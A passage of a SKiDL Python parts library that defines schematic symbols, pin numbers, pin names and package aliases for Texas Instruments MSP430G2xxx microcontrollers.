Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='VSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2111IRSA16',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2211, 16pin QFN, 2KB Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2211IRSA16'],pins=[
Pin(num='1',name='ACLK/TA0CLK/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='TA0.0/CA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.1/CA2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='CAOUT/CA3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='TCK/SMCLK/CA4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TMS/TA0.0/CA5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TDI/TCLK/TA0.1/CA6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TDO/TDI/CAOUT/CA7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='10',name='SBWTCK/TEST',do_erc=True),
Pin(num='11',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='16',name='DVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2112IN20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin PDIP, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2212IN20', 'MSP430G2312IN20', 'MSP430G2412IN20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/CA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/CA2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='CAOUT/CA3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/TA0.2/CA4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/SCLK/TA0.0/CA5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TDI/TCLK/TA0.1/SDO/SCL/CA6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TDO/TDI/SDI/SDA/CAOUT/CA7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2112IPW14',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2412, 14pin TSSOP, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2212IPW14', 'MSP430G2312IPW14', 'MSP430G2412IPW14'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/CA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/CA2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='CAOUT/CA3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/TA0.2/CA4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/SCLK/TA0.0/CA5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TDI/TCLK/TA0.1/SDO/SCL/CA6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TDO/TDI/SDI/SDA/CAOUT/CA7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2112IPW20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2412, 20pin TSSOP, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2212IPW20', 'MSP430G2312IPW20', 'MSP430G2412IPW20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/CA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/CA2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='CAOUT/CA3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/TA0.2/CA4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/SCLK/TA0.0/CA5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TDI/TCLK/TA0.1/SDO/SCL/CA6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TDO/TDI/SDI/SDA/CAOUT/CA7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2112IRSA16',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2412, 16pin QFN, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2212IRSA16', 'MSP430G2312IRSA16', 'MSP430G2412IRSA16'],pins=[
Pin(num='1',name='TA0CLK/ACLK/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='TA0.0/CA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.1/CA2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='CAOUT/CA3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='TCK/SMCLK/TA0.2/CA4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TMS/SCLK/TA0.0/CA5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TDI/TCLK/TA0.1/SDO/SCL/CA6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TDO/TDI/SDI/SDA/CAOUT/CA7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='10',name='SBWTCK/TEST',do_erc=True),
Pin(num='11',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='16',name='DVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2113IPW20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2513, 20pin TSSOP, 16KB Flash Memory, 512B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2213IPW20', 'MSP430G2313IPW20', 'MSP430G2413IPW20', 'MSP430G2513IPW20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='UCA0RXD/UCA0SOMI/TA0.0/CA1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='UCA0TXD/UCA0SIMO/TA0.1/CA2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='CAOUT/CA3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/UCB0STE/UCA0CLK/CA4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/UCB0CLK/UCA0STE/TA0.0/CA5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2/TA1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P2.3/TA1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5/TA1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='TDI/TCLK/UCB0SOMI/UCB0SCL/TA0.1/CA6/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='TDO/TDI/UCB0SIMO/UCB0SDA/CAOUT/CA7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='TEST/SBWTCK',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2121IN14',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='14pin PDIP, 2KB Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2221IN14'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='ACLK/TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/SCLK/TA0.0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TDI/SDO/SCL/TCLK/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TDI/TDO/SDI/SDA/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2121IPW14',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2221, 14pin TSSOP, 2KB Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2221IPW14'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='ACLK/TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/SCLK/TA0.0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TDI/SDO/SCL/TCLK/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TDI/TDO/SDI/SDA/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2121IRSA16',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2221, 16pin QFN, 2KB Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2221IRSA16'],pins=[
Pin(num='1',name='ACLK/TACLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='TCK/SMCLK/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TMS/SCLK/TA0.0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TDI/SDO/SCL/TCLK/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TDI/TDO/SDI/SDA/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='10',name='SBWTCK/TEST',do_erc=True),
Pin(num='11',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='16',name='DVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2131IN14',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='14pin PDIP, 2KB Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2231IN14'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='ACLK/TACLK/A0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/A1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='ADC10CLK/VREF-/VeREF-/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/VREF+/VeREF+/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/SCLK/TA0.0/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TDI/SDO/SCL/TCLK/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TDI/TDO/SDI/SDA/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2131IPW14',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2231, 14pin PDIP, 2KB Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2231IPW14'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='ACLK/TACLK/A0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/A1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='ADC10CLK/VREF-/VeREF-/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/VREF+/VeREF+/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/SCLK/TA0.0/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TDI/SDO/SCL/TCLK/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='TDI/TDO/SDI/SDA/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2131IRSA16',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2231, 16pin QFN, 2KB Flash Memory, 128B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2231IRSA16'],pins=[
Pin(num='1',name='ACLK/TACLK/A0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='TA0.0/A1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.1/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='ADC10CLK/VREF-/VeREF-/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='TCK/SMCLK/VREF+/VeREF+/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TMS/SCLK/TA0.0/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TDI/SDO/SCL/TCLK/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='TDI/TDO/SDI/SDA/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='10',name='SBWTCK/TEST',do_erc=True),
Pin(num='11',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='16',name='DVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2132IN20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin PDIP, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2232IN20', 'MSP430G2332IN20', 'MSP430G2432IN20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='A0/ACLK/TA0CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='A1/TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='A2/TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='ADC10CLK/VREF-/VeREF-/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/VREF+/VeREF+/A4/SMCLK/TA0.2/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/A5/TA0.0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='SDO/SCL/TDI/TCLK/A6/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='SDI/SDA/TDO/TDI/A7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2132IPW14',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2432, 14pin TSSOP, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2232IPW14', 'MSP430G2332IPW14', 'MSP430G2432IPW14'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='ACLK/A0/TA0CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='A1/TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='A2/TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='ADC10CLK/VREF-/VeREF-/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='SMCLK/TCK/A4/VREF+/VeREF+/TA0.2/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/SCLK/A5/TA0.0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='SDO/SCL/TDI/TCLK/A6/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='SDI/SDA/TDO/TDI/A7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='11',name='SBWTCK/TEST',do_erc=True),
Pin(num='12',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2132IPW20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2432, 20pin TSSOP, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2232IPW20', 'MSP430G2332IPW20', 'MSP430G2432IPW20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='A0/ACLK/TA0CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='A1/TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='A2/TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='ADC10CLK/VREF-/VeREF-/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/VREF+/VeREF+/A4/SMCLK/TA0.2/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/A5/TA0.0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='11',name='P2.3',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.4',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='P2.5',func=Pin.BIDIR,do_erc=True),
Pin(num='14',name='SDO/SCL/TDI/TCLK/A6/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='15',name='SDI/SDA/TDO/TDI/A7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='16',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='17',name='SBWTCK/TEST',do_erc=True),
Pin(num='18',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='19',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True)]),
Part(name='MSP430G2132IRSA16',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='MSP430G2432, 16pin QFN, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2232IRSA16', 'MSP430G2332IRSA16', 'MSP430G2432IRSA16'],pins=[
Pin(num='1',name='ACLK/A0/TA0CLK/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='2',name='A1/TA0.0/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='A2/TA0.1/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='ADC10CLK/VREF-/VeREF-/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='SMCLK/TCK/VREF+/VeREF+/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TMS/SCLK/A5/TA0.0/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='SDO/SCL/TDI/TCLK/A6/TA0.1/P1.6',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='SDI/SDA/TDO/TDI/A7/P1.7',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='~RST~/NMI/SBWTDIO',do_erc=True),
Pin(num='10',name='SBWTCK/TEST',do_erc=True),
Pin(num='11',name='P2.7/XOUT',func=Pin.BIDIR,do_erc=True),
Pin(num='12',name='P2.6/XIN/TA0.1',func=Pin.BIDIR,do_erc=True),
Pin(num='13',name='AVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='14',name='DVSS',func=Pin.PWRIN,do_erc=True),
Pin(num='15',name='AVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='16',name='DVCC',func=Pin.PWRIN,do_erc=True)]),
Part(name='MSP430G2152IN20',dest=TEMPLATE,tool=SKIDL,keywords='MSP430 MIXED SIGNAL MICROCONTROLLER',description='20pin PDIP, 8KB Flash Memory, 256B RAM',ref_prefix='U',num_units=1,do_erc=True,aliases=['MSP430G2252IN20', 'MSP430G2352IN20', 'MSP430G2452IN20'],pins=[
Pin(num='1',name='DVCC',func=Pin.PWRIN,do_erc=True),
Pin(num='2',name='TA0CLK/ACLK/CA0/A0/P1.0',func=Pin.BIDIR,do_erc=True),
Pin(num='3',name='TA0.0/CA1/A1/P1.1',func=Pin.BIDIR,do_erc=True),
Pin(num='4',name='TA0.1/CA2/A2/P1.2',func=Pin.BIDIR,do_erc=True),
Pin(num='5',name='ADC10CLK/VREF-/VeREF-/CAOUT/CA3/A3/P1.3',func=Pin.BIDIR,do_erc=True),
Pin(num='6',name='TCK/SMCLK/TA0.2/VREF+/VeREF+/CA4/A4/P1.4',func=Pin.BIDIR,do_erc=True),
Pin(num='7',name='TMS/SCLK/TA0.0/CA5/A5/P1.5',func=Pin.BIDIR,do_erc=True),
Pin(num='8',name='P2.0',func=Pin.BIDIR,do_erc=True),
Pin(num='9',name='P2.1',func=Pin.BIDIR,do_erc=True),
Pin(num='10',name='P2.2',func=Pin.BIDIR,do_erc=True),
Pin(num='20',name='DVSS',func=Pin.PWRIN,do_erc=True),
